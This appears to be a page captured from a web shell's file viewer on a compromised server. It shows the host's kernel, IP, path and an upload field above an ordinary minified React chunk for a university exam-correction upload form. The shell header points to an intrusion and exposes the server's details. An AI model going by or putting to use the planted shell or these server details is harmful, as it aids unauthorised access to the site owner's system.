0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.21.93.159


Current Path : /var/www/qptran/static/js/
Upload File :
Current File : /var/www/qptran/static/js/32.d596ff8b.chunk.js

(window["webpackJsonpQP-Tran"]=window["webpackJsonpQP-Tran"]||[]).push([[32],{372:function(e,t,r){"use strict";var n=r(0),a=r.n(n),o=r(374);r(373);t.a=function(){return a.a.createElement("div",null,a.a.createElement("div",{style:{position:"absolute",margin:"auto",top:0,right:0,bottom:0,left:0,width:"200px",height:"200px"}},a.a.createElement(o.a,{height:"80",width:"80",radisu:1,color:"rgb(0 123 255)",ariaLabel:"puff-loading",wrapperStyle:{},wrapperClass:"",visible:!0})))}},414:function(e,t,r){"use strict";r.r(t);var n=r(127),a=r(52),o=r(0),i=r.n(o),c=(r(180),r(380)),u=r(422),l=r(421),s=r(403),f=r(36),p=(r(128),r(114)),h=r(80),d=r.n(h),v=(r(377),r(372)),m=r(12);function b(){b=function(){return e};var e={},t=Object.prototype,r=t.hasOwnProperty,n="function"==typeof Symbol?Symbol:{},a=n.iterator||"@@iterator",o=n.asyncIterator||"@@asyncIterator",i=n.toStringTag||"@@toStringTag";function c(e,t,r){return Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{c({},"")}catch(S){c=function(e,t,r){return e[t]=r}}function u(e,t,r,n){var a=t&&t.prototype instanceof f?t:f,o=Object.create(a.prototype),i=new j(n||[]);return o._invoke=function(e,t,r){var n="suspendedStart";return function(a,o){if("executing"===n)throw new Error("Generator is already running");if("completed"===n){if("throw"===a)throw o;return L()}for(r.method=a,r.arg=o;;){var i=r.delegate;if(i){var c=E(i,r);if(c){if(c===s)continue;return c}}if("next"===r.method)r.sent=r._sent=r.arg;else if("throw"===r.method){if("suspendedStart"===n)throw n="completed",r.arg;r.dispatchException(r.arg)}else"return"===r.method&&r.abrupt("return",r.arg);n="executing";var u=l(e,t,r);if("normal"===u.type){if(n=r.done?"completed":"suspendedYield",u.arg===s)continue;return{value:u.arg,done:r.done}}"throw"===u.type&&(n="completed",r.method="throw",r.arg=u.arg)}}}(e,r,i),o}function l(e,t,r){try{return{type:"normal",arg:e.call(t,r)}}catch(S){return{type:"throw",arg:S}}}e.wrap=u;var s={};function f(){}function p(){}function h(){}var d={};c(d,a,(function(){return this}));var v=Object.getPrototypeOf,m=v&&v(v(k([])));m&&m!==t&&r.call(m,a)&&(d=m);var g=h.prototype=f.prototype=Object.create(d);function y(e){["next","throw","return"].forEach((function(t){c(e,t,(function(e){return this._invoke(t,e)}))}))}function w(e,t){var n;this._invoke=function(a,o){function i(){return new t((function(n,i){!function n(a,o,i,c){var u=l(e[a],e,o);if("throw"!==u.type){var s=u.arg,f=s.value;return f&&"object"==typeof f&&r.call(f,"__await")?t.resolve(f.__await).then((function(e){n("next",e,i,c)}),(function(e){n("throw",e,i,c)})):t.resolve(f).then((function(e){s.value=e,i(s)}),(function(e){return n("throw",e,i,c)}))}c(u.arg)}(a,o,n,i)}))}return n=n?n.then(i,i):i()}}function E(e,t){var r=e.iterator[t.method];if(void 0===r){if(t.delegate=null,"throw"===t.method){if(e.iterator.return&&(t.method="return",t.arg=void 0,E(e,t),"throw"===t.method))return s;t.method="throw",t.arg=new TypeError("The iterator does not provide a 'throw' method")}return s}var n=l(r,e.iterator,t.arg);if("throw"===n.type)return t.method="throw",t.arg=n.arg,t.delegate=null,s;var a=n.arg;return a?a.done?(t[e.resultName]=a.value,t.next=e.nextLoc,"return"!==t.method&&(t.method="next",t.arg=void 0),t.delegate=null,s):a:(t.method="throw",t.arg=new TypeError("iterator result is not an object"),t.delegate=null,s)}function x(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function O(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function j(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(x,this),this.reset(!0)}function k(e){if(e){var t=e[a];if(t)return t.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var n=-1,o=function t(){for(;++n<e.length;)if(r.call(e,n))return t.value=e[n],t.done=!1,t;return t.value=void 0,t.done=!0,t};return o.next=o}}return{next:L}}function L(){return{value:void 0,done:!0}}return p.prototype=h,c(g,"constructor",h),c(h,"constructor",p),p.displayName=c(h,i,"GeneratorFunction"),e.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===p||"GeneratorFunction"===(t.displayName||t.name))},e.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,h):(e.__proto__=h,c(e,i,"GeneratorFunction")),e.prototype=Object.create(g),e},e.awrap=function(e){return{__await:e}},y(w.prototype),c(w.prototype,o,(function(){return this})),e.AsyncIterator=w,e.async=function(t,r,n,a,o){void 0===o&&(o=Promise);var i=new w(u(t,r,n,a),o);return e.isGeneratorFunction(r)?i:i.next().then((function(e){return e.done?e.value:i.next()}))},y(g),c(g,i,"Generator"),c(g,a,(function(){return this})),c(g,"toString",(function(){return"[object Generator]"})),e.keys=function(e){var t=[];for(var r in e)t.push(r);return t.reverse(),function r(){for(;t.length;){var n=t.pop();if(n in e)return r.value=n,r.done=!1,r}return r.done=!0,r}},e.values=k,j.prototype={constructor:j,reset:function(e){if(this.prev=0,this.next=0,this.sent=this._sent=void 0,this.done=!1,this.delegate=null,this.method="next",this.arg=void 0,this.tryEntries.forEach(O),!e)for(var t in this)"t"===t.charAt(0)&&r.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=void 0)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function(e){if(this.done)throw e;var t=this;function n(r,n){return i.type="throw",i.arg=e,t.next=r,n&&(t.method="next",t.arg=void 0),!!n}for(var a=this.tryEntries.length-1;a>=0;--a){var o=this.tryEntries[a],i=o.completion;if("root"===o.tryLoc)return n("end");if(o.tryLoc<=this.prev){var c=r.call(o,"catchLoc"),u=r.call(o,"finallyLoc");if(c&&u){if(this.prev<o.catchLoc)return n(o.catchLoc,!0);if(this.prev<o.finallyLoc)return n(o.finallyLoc)}else if(c){if(this.prev<o.catchLoc)return n(o.catchLoc,!0)}else{if(!u)throw new Error("try statement without catch or finally");if(this.prev<o.finallyLoc)return n(o.finallyLoc)}}}},abrupt:function(e,t){for(var n=this.tryEntries.length-1;n>=0;--n){var a=this.tryEntries[n];if(a.tryLoc<=this.prev&&r.call(a,"finallyLoc")&&this.prev<a.finallyLoc){var o=a;break}}o&&("break"===e||"continue"===e)&&o.tryLoc<=t&&t<=o.finallyLoc&&(o=null);var i=o?o.completion:{};return i.type=e,i.arg=t,o?(this.method="next",this.next=o.finallyLoc,s):this.complete(i)},complete:function(e,t){if("throw"===e.type)throw e.arg;return"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),s},finish:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.finallyLoc===e)return this.complete(r.completion,r.afterLoc),O(r),s}},catch:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.tryLoc===e){var n=r.completion;if("throw"===n.type){var a=n.arg;O(r)}return a}}throw new Error("illegal catch attempt")},delegateYield:function(e,t,r){return this.delegate={iterator:k(e),resultName:t,nextLoc:r},"next"===this.method&&(this.arg=void 0),s}},e}t.default=function(){var e=Object(o.useState)(""),t=Object(a.a)(e,2),r=t[0],h=t[1],g=Object(o.useState)(""),y=Object(a.a)(g,2),w=y[0],E=y[1],x=Object(o.useState)(""),O=Object(a.a)(x,2),j=O[0],k=O[1],L=Object(o.useState)(""),S=Object(a.a)(L,2),_=S[0],N=S[1],G=Object(o.useState)(""),C=Object(a.a)(G,2),F=C[0],T=C[1],I=Object(o.useState)(""),P=Object(a.a)(I,2),D=P[0],q=P[1],A=Object(o.useState)(""),J=Object(a.a)(A,2),Q=(J[0],J[1]),Y=Object(o.useState)(""),H=Object(a.a)(Y,2),U=H[0],V=H[1],z=Object(o.useState)(!1),B=Object(a.a)(z,2),K=B[0],M=B[1],R=Object(o.useState)([]),W=Object(a.a)(R,2),X=W[0],Z=W[1],$=Object(o.useState)(""),ee=Object(a.a)($,2),te=ee[0],re=ee[1];Object(m.g)();Object(o.useEffect)((function(){(function(){var e=Object(n.a)(b().mark((function e(){var t,n,a,o;return b().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return t=r.replace("/","*"),n=t.replace("/","*"),V(n),M(!0),e.prev=4,e.next=7,p.a.get("app.php?a=qp_dashboard&univcode=".concat(localStorage.getItem("univcode"))+"&date="+r);case 7:a=e.sent,a.data.data.session.map((function(e,t){return{key:t,value:"".concat(e.fsession),text:"".concat(e.fsession," - ").concat(e.fdescpn)}})),o=a.data.data.deggrp.map((function(e,t){return{key:t,value:"".concat(e.fdeggrp),text:"".concat(e.fdeggrp)}})),Q(o),e.next=16;break;case 13:e.prev=13,e.t0=e.catch(4),console.log(e.t0);case 16:M(!1);case 17:case"end":return e.stop()}}),e,null,[[4,13]])})));return function(){return e.apply(this,arguments)}})()(),ne()}),[]);var ne=function(){var e=Object(n.a)(b().mark((function e(){var t,r,n;return b().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,p.a.get("app.php?a=qpupddates&univcode="+localStorage.getItem("univcode")+"&usertype="+localStorage.getItem("usertype"));case 2:0===(t=e.sent).data.error_code&&(r=t.data.data.resdoe.map((function(e,t){return{key:t,value:e.value,text:e.value}})),Z(r),n=t.data.data.ressession.map((function(e,t){return{key:t,value:e.id,text:e.value}})),q(n));case 4:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),ae=function(){var e=Object(n.a)(b().mark((function e(){var t;return b().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(M(!0),e.prev=1,""!=r){e.next=8;break}return d.a.fire("Enter Date"),M(!1),e.abrupt("return");case 8:if(""!=w){e.next=14;break}return d.a.fire("Select Session"),M(!1),e.abrupt("return");case 14:if(""!=_){e.next=20;break}return d.a.fire("Enter Title"),M(!1),e.abrupt("return");case 20:if(""!=F){e.next=26;break}return d.a.fire("Enter Description"),M(!1),e.abrupt("return");case 26:return e.next=28,p.a.post("app.php?a=upload_correction_qp&univcode=".concat(localStorage.getItem("univcode"))+"&date="+r+"&session="+w+"&deggrp="+j+"&title="+_+"&desc="+F+"&sessionDescpn="+te);case 28:if(0!=(t=e.sent).data.error_code){e.next=38;break}d.a.fire({icon:"success",title:t.data.data.msg}),h(""),E(""),k(""),N(""),T(""),e.next=41;break;case 38:return d.a.fire({icon:"error",title:t.data.data.msg,text:"error"}),M(!1),e.abrupt("return");case 41:e.next=46;break;case 43:e.prev=43,e.t0=e.catch(1),console.log(e.t0);case 46:M(!1);case 47:case"end":return e.stop()}}),e,null,[[1,43]])})));return function(){return e.apply(this,arguments)}}(),oe=function(){var e=Object(n.a)(b().mark((function e(){return b().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(M(!0),""!=r){e.next=5;break}return d.a.fire("please enter a date"),M(!1),e.abrupt("return");case 5:if(""!=j){e.next=9;break}return d.a.fire("please select degree group"),M(!1),e.abrupt("return");case 9:if(""!=w){e.next=13;break}return d.a.fire("please select session"),M(!1),e.abrupt("return");case 13:M(!1);case 14:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();return i.a.createElement("div",null,K?i.a.createElement(v.a,null):i.a.createElement("div",{className:"page",style:{height:"695px"}},i.a.createElement("div",{className:"row"},i.a.createElement("div",{className:"col-md-12 grid-margin stretch-card"},i.a.createElement("div",{className:"card"},i.a.createElement("div",{className:"card-body",style:{display:"flex"}},i.a.createElement("h4",null,"Upload Correction"),i.a.createElement("div",{className:"ml-auto"},i.a.createElement(f.b,{to:{pathname:"/viewuploadcorr/".concat(U,"/").concat(j,"/").concat(w),query:{date:U,deggrp:j,session:w}}},i.a.createElement("button",{onClick:function(){return oe()},type:"button",className:"btn btn-info btn-fw"},"View")),i.a.createElement("button",{onClick:function(){return h(""),E(""),k(""),N(""),void T("")},type:"button",className:"btn btn-info btn-fw"},"Clear"),i.a.createElement(f.b,{to:"/dashboard"},i.a.createElement("button",{type:"button",className:"btn btn-danger btn-fw"},i.a.createElement("span",{class:"mdi mdi-exit-to-app"}),"Exit")))),i.a.createElement(c.a,null),i.a.createElement("div",{className:"col-md-12"},i.a.createElement(u.a,null,i.a.createElement(u.a.Group,null,i.a.createElement(u.a.Field,{width:4},i.a.createElement("label",null,"Exam Date"),i.a.createElement(l.a,{placeholder:"Exam Date",name:"examdate",value:r,selection:!0,options:X,search:!0,onChange:function(e,t){h(t.value)}})),i.a.createElement(u.a.Field,{width:4},i.a.createElement("label",null,"Session"),i.a.createElement(l.a,{id:"fsession",placeholder:"Session",name:"session",value:w,selection:!0,options:D,search:!0,onChange:function(e,t){E(t.value);var r=t.options.filter((function(e){return e.value===t.value}));re(r[0].text)}}))),i.a.createElement(u.a.Group,null,i.a.createElement(u.a.Field,{width:8},i.a.createElement("label",null,"Title"),i.a.createElement(u.a.Input,{placeholder:"title",value:_,onChange:function(e,t){return N(t.value)}}))),i.a.createElement(u.a.Group,null,i.a.createElement(u.a.Field,{width:8},i.a.createElement("label",null,"Description"),i.a.createElement(s.a,{placeholder:"Tell us more",style:{minHeight:100},value:F,onChange:function(e,t){return T(t.value)}}))),i.a.createElement(u.a.Group,null,i.a.createElement(u.a.Field,null,i.a.createElement("button",{className:"btn btn-info btn-fw",onClick:function(){return ae()}},"Submit"))))))))))}}}]);
//# sourceMappingURL=32.d596ff8b.chunk.js.map